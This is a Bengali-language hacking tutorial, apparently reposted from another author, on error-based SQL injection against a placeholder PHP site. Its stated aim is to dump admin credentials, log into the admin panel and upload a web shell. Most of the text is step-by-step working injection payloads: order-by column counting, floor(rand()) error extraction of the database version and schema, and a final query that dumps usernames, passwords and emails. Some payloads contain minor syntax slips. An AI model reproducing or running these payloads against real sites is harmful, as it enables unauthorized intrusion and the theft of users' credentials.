Join Our Telegram Channel Contact Us Join Now!

ওয়েব সাইট হ্যাকিং শিখুন! হয়ে যান এক্সপার্ট হ্যাকার! SQLi (Error Based SQLi)

সবাইকে স্বাগতম ওয়েব হ্যাকিং নিয়ে লেখা আমার ৩য় টিউটোরিয়ালে।
আমি আমার গত ২টি টিউটোরিয়ালে SQLi (Sql Injection ) নিয়ে আলোচনা করেছি।
আজকের টিউটোরিয়ালটিও SQLi আর আরেকটি মেথড নিয়ে (Error Based SQLi)
(টিউটোরিয়ালটি শুধুমাত্র শিক্ষণীয় উদ্দ্যেশ্যে লেখা)
শুরুর আগেঃ
অনেকেই ফেইসবুকের ইনবক্সে জিজ্ঞাসা করেছেন SQLi শিখলে হ্যাকিং এর জন্যে কি ধরনের লাভ হবে (হে হে )
উত্তরঃSQLi এর মাধ্যমে হ্যাকার ভুলনাবল ওয়েবসাইটের ডাম্প করেন ।। এবং তার মধ্যে সাইটের এডমিনের ইনফরমেশন
যেমন ইউজার নেম, পাসওয়ার্ড ইত্যাদি থাকে ।। এবং তারপর হ্যাকার সাহেব সাইটির এডমিন প্যানেল বের করে , আইডি পাসওয়ার্ড
দিয়ে লগিন করেন , এবং একটি আপলোডের অপশন বের করেন । এরপর তিনি সাইটটি তে শেল আপলোড দিয়ে । সাইটির যা ইচ্ছা তাই করতে
পারেন।
এছাড়া অনেক সময় SQLi করেই শেল আপলোড করা যায় ।। সে ক্ষেত্রে আইডি পাসওয়ার্ডের দরকার হয় না (সব ক্ষেত্রে না)
যারা হ্যাকিং শিখতে আগ্রহী তার এই ফেইসবুক গ্রুপে জয়েন করতে পারেনঃ
তবে জয়েন করার আগে আমার ফেইসবুক আইডিতে একটি মেসেজ পাঠাবেন।
আমি জানিয়ে দিবো গ্রুপে জয়েন করার জন্যে কি কি করতে হবে।
তাহলে শূরু করা যাক
www.site.com/artist.php?i=36
প্রথমে আমরা সাইটটি ভুলনারবল কিনা সেটা চেক করবো লিঙ্ক এর শেষে ' চিহ্ন দিয়ে ।
www.site.com/artist.php?i=36 '
যদি এরর দেখতে পান । তাহলে প্রথমে Union Based SQLi চেষ্টা করুন । তারপরও যদি না হয় তাহলে String Based SQLi চেষ্টা করে দেখুন।
এটাতেও যদি কাজ না হয় তাহলে চলুন ! নতুন পদ্ধতি তে ।
তারমানে "Error Based SQLi" চেষ্টা করে দেখি। আমরা order+by কমান্ড ব্যাবহার করে । এই সাইটের ডাটাবেসে কয়টি কলাম আছে সেটা বের করবো।
প্রথমেই আমরা এভাবে চেষ্টা করে দেখবো :
(আগের টিউটোরিয়াল গুলো না দেখলে বুঝবেন না)
www.site.com/artist.php?i=36 order by 10--
www.site.com/artist.php?i=36 order by 20--
order by 20 পর্যন্ত আসার পর যদি কোনো প্রকারের এরর দেখায় বা ডাটা মিস করে তাহলে বুঝতে হবে এই সাইটটিতে ১৯ কলাম আছে। তাই অর্ডার বাই ২০ এ আসার পর এরর দেখাচ্ছে কারণ ২০টি কলাম নেই ।
কলামের সংখ্যা যে ২০ হবে সব সময় এমন কথা নেই । এটা আমি শুধুমাত্র উদাহারণের জন্যে বোঝালাম ।
এইভাবে চেষ্টা করে যদি কোনো Error দেখতে না পান তাহলে String Based Method ব্যাবহার করতে হবে। এবার আমরা id=value এর শেষে ' দিবো ঠিক এভাবে =36' এবং order by 1--+ মানে order by এর পর নাম্বারের পর দুইটি মাইনাসচিহ্ন এবং একটি প্লাস ।
www.site.com/artist.php?i=36' order by 10--+  (no error)
www.site.com/artist.php?i=36' order by 15--+  (no error)
www.site.com/artist.php?i=36' order by 18--+  (no error)
www.site.com/artist.php?i=36' order by 19--+ (no error)
www.site.com/artist.php?i=36' order by 20--+ (Error!)
order by 20--+ এর পর যদি এরর দেখায় তাহলে বুঝতে হবে সাইটিতে ১৯ টি কলাম আছে। তাই ২০ পর্যন্ত গেলে এরর আসছে। কারণ এই সাইটে ২০টি কলাম নেই!।
এখন ভুলনারাবল কলাম বা স্ট্রিং কলামটি বের করতে হবে ।
যার জন্যে কমান্ড হচ্ছেঃ
www.site.com/artist.php?i=36' union select 1,2,3,4,5--+
এখন যদি সাইটটিতে Error Based SQLi হয় তাহলে এই ধরনের এরর দেখাবেঃ
The used SELECT statements have a different number of columns
এখন কাজ শুরু হবে Error Based SQLi এর ।
Error Based SQLi এর জন্যে আমরা কিছু নির্দিষ্ট Syntax ব্যাবহার করবো ।এখন যদি ডাটাবেসের  ইউজার, ভার্সন , ডাটাবেসের নাম বের করার জন্যে কমান্ড হবে ।
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
কমান্ড ব্যাবহার করা হয়েছে এটিঃ
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
একটা বিষয় লক্ষ্য করুনঃ
এখানে আমরা হেক্স (Hex) ব্যাবহার করেছি। আমরা এখানে হেক্স ব্যাবহার না করেও কমান্ড দিতে পারি।তাহলে কোড টি হবে এরকমঃ
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select concat(version())) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--
এখন যদি ডাটাবেস ভার্সন ৫ এর নিচে হয় মানে ৪ হয় তাহলে ডাটাবেসের  ইউজার, ভার্সন , ডাটাবেসের নাম বের করার জন্যে কমান্ড হবে ।
http://www.site.com/artist.php?i=36 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
যদি এই কমান্ডটি ব্যাবহার করার পরে এরর দেখায় তাহলেও সমস্যা নেই :) তাহলে এই কমান্ড টি ব্যাবহার করবেনঃ
http://www.site.com/artist.php?i=36 or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2))having min(0) or 1--+
যায় হোক এখন আমাদের কাছে ডাটাবেস ভার্সন, ডাটাবেসের নাম জানা আছে। এখন আমরা ইনজেক্ট শুরু করি। এখন আমরা দেখবো এই সাইটের কতটি ডাটাবেস আছে , বা ডাটাবেসের সংখ্যা কয়টি যার জন্যে কমান্ড হবে ।
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(schema_name),0x27,0x7e) from information_schema.schemata limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
এখন ডাটাবেসের সংখ্যা দেখাবে মানে সাইটে কতটি ডাটাবেস আছে সেটা শুধুমাত্র সংখ্যার মাধ্যমে দেখাবে । এরকম ভাবে ছবিঃhttp://prntscr.com/4gvpnu
এখন টেবিলস বের করতে হবে । তবে তার আগে আমরা দেখেনি ডাটাবেসে কয়টি টেবিলস আছে। মানে টেবিলস সংখ্যা কতো ।তার জন্যে কমান্ড হবে।
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name} 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
এখানে দেখাচ্ছে ১৫ টি তার মানে টেবলের সংখ্যা ১৫ ! এখন আমরা একটা একটা করে টেবিলস বের করবো।
যার জন্যে কমান্ড হবে:
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name} 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
*লক্ষনীয় বিষয় উপরের কমান্ডের এক অংশে লক্ষ করলে দেখবেন "table_schema=0x(hex-database-name) এই জায়গায় আপনি কমান্ড ব্যাবহার করে যে ডাটাবেসের নাম বের করেছেন সেটাকে হেক্স (Hex) কনভার্ট করে দিবেন।
এর জন্যে হ্যাকবার নামে মোজিলা ফায়ারফক্স ব্রাউজারের একটি এডঅন আছে সেটা ব্যাবহার করতে পারেন।
যায় হোক এখন আমরা একটা একটা টেবিলস নেম দেখতে পাবো। এখন আমাদের দরকার হবে এডমিন টেবিলের যেখান থেকে আমরা এডমিন আইডি পাসওয়ার্ড নিয়ে সাইটটিতে প্রবেশ করতে পারি। যায় হোক। এর জন্যে আমরা লিমিট ফাংশন টি ব্যাবহার করবো।
কমান্ডটি ভালো ভাবে লক্ষ করুন (বোল্ড করা অংশটি)
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(table_name),0x27,0x7e) from information_schema.tables where table_schema=0x{hex-database-name} 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
বোল্ড করা অংশিটিতে লেখা আছে "information_schema.tables limit 0,1"এখন আরেকটি টেবলস বের করতে আপনি limit 0,1 এর জায়গায় limit 1,1. limit 2,1 limit 3,1 এইভাবে ব্যাবহার করতে পারেন। যেহুতু এই সাইটের টেবিলস সংখ্যা ১৫ সেজন্যে আপনি limit 15,1 এর পর আর লিমিট বাড়ালে কোনো রেসাল্ট দেখাবে নাহ। যায় হোক লিমিট কিছুক্ষন বাড়ানোর পর আমি টেবিলস পেলাম "mass_users" একটা বিষয় লক্ষ রাখবেন এডমিন টেবিল সব সময়ে admin নামে থাকে না। অনেক সময় অন্য নামেও থাকে তবে তার সাথে login,user, এই ধরনের সব গুলা থাকবে ।। মানে টেবিলস নাম গুলো login,user এই ধরনের হবে।
যায় হোক এইভাবে টেবিলস বের করার পর আমরা এবার কলাম বের করবো ।প্রথমেই দেখে নিয় "mass users" টেবিলস টিতে কলামের সংখ্যা কতো।
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,count(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0x6d6173735f7573657273 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
এখন আমরা একটা একটা করে কলাম নেম বের করবো ।কমান্ডঃ
http://www.site.com/artist.php?i=36' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,concat(column_name),0x27,0x7e) from information_schema.columns where table_schema=0x{hex-database-name} and table_name=0x6d6173735f7573657273 0,1)) frominformation_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+
উপরের কমান্ডটির বোল্ড করা অংশ গুলো দেখুনঃ
table_schema=0x{hex-database-name}   এখানে ডাটাবেসের নামটিকে হেক্সে কনভার্ট করে সেটা দিবেন।table_name=0x6d6173735f7573657273 এখানে আপনার প্রাপ্ত টেবিলস নামটিকে হেক্সে কনভার্ট করে দিবেন।যেমন আমি "mass_users" কে হেক্সে কনভার্ট করেছি।information_schema.tables limit 0,1 এবং ৫ টি কলাম একটির পর একটি দেখতে লিমিট বাড়িয়ে যাবেন।
এখন আমি কলাম পেলাম এই ৫টিঃ
id,username,password,firstname,email
এখন আমার কাজ "username: email : password" এই তিনটি কলাম নিয়ে। এই তিনটি কলাম থেকে ডাটা ডাম্প বা হ্যাক করার জন্যে কমান্ড হবেঃ
http://www.site.com/artist.php?i=36' and+(select 1 from(select+count(*),concat((select+concat(username,0x3a,password,0x3a,email) from mass_users+limit+0,1),floor(rand(0)*2))x from information_schema.tables+group by x)a) and 1=1--+

ধন্যবাদ মূল লেখককে--

Rate this article

Loading...

Post a Comment

Cookies Consent

This website uses cookies to ensure you get the best experience on our website.

Cookies Policy

We employ the use of cookies. By accessing Lantro UI, you agreed to use cookies in agreement with the Lantro UI's Privacy Policy.

Most interactive websites use cookies to let us retrieve the user’s details for each visit. Cookies are used by our website to enable the functionality of certain areas to make it easier for people visiting our website. Some of our affiliate/advertising partners may also use cookies.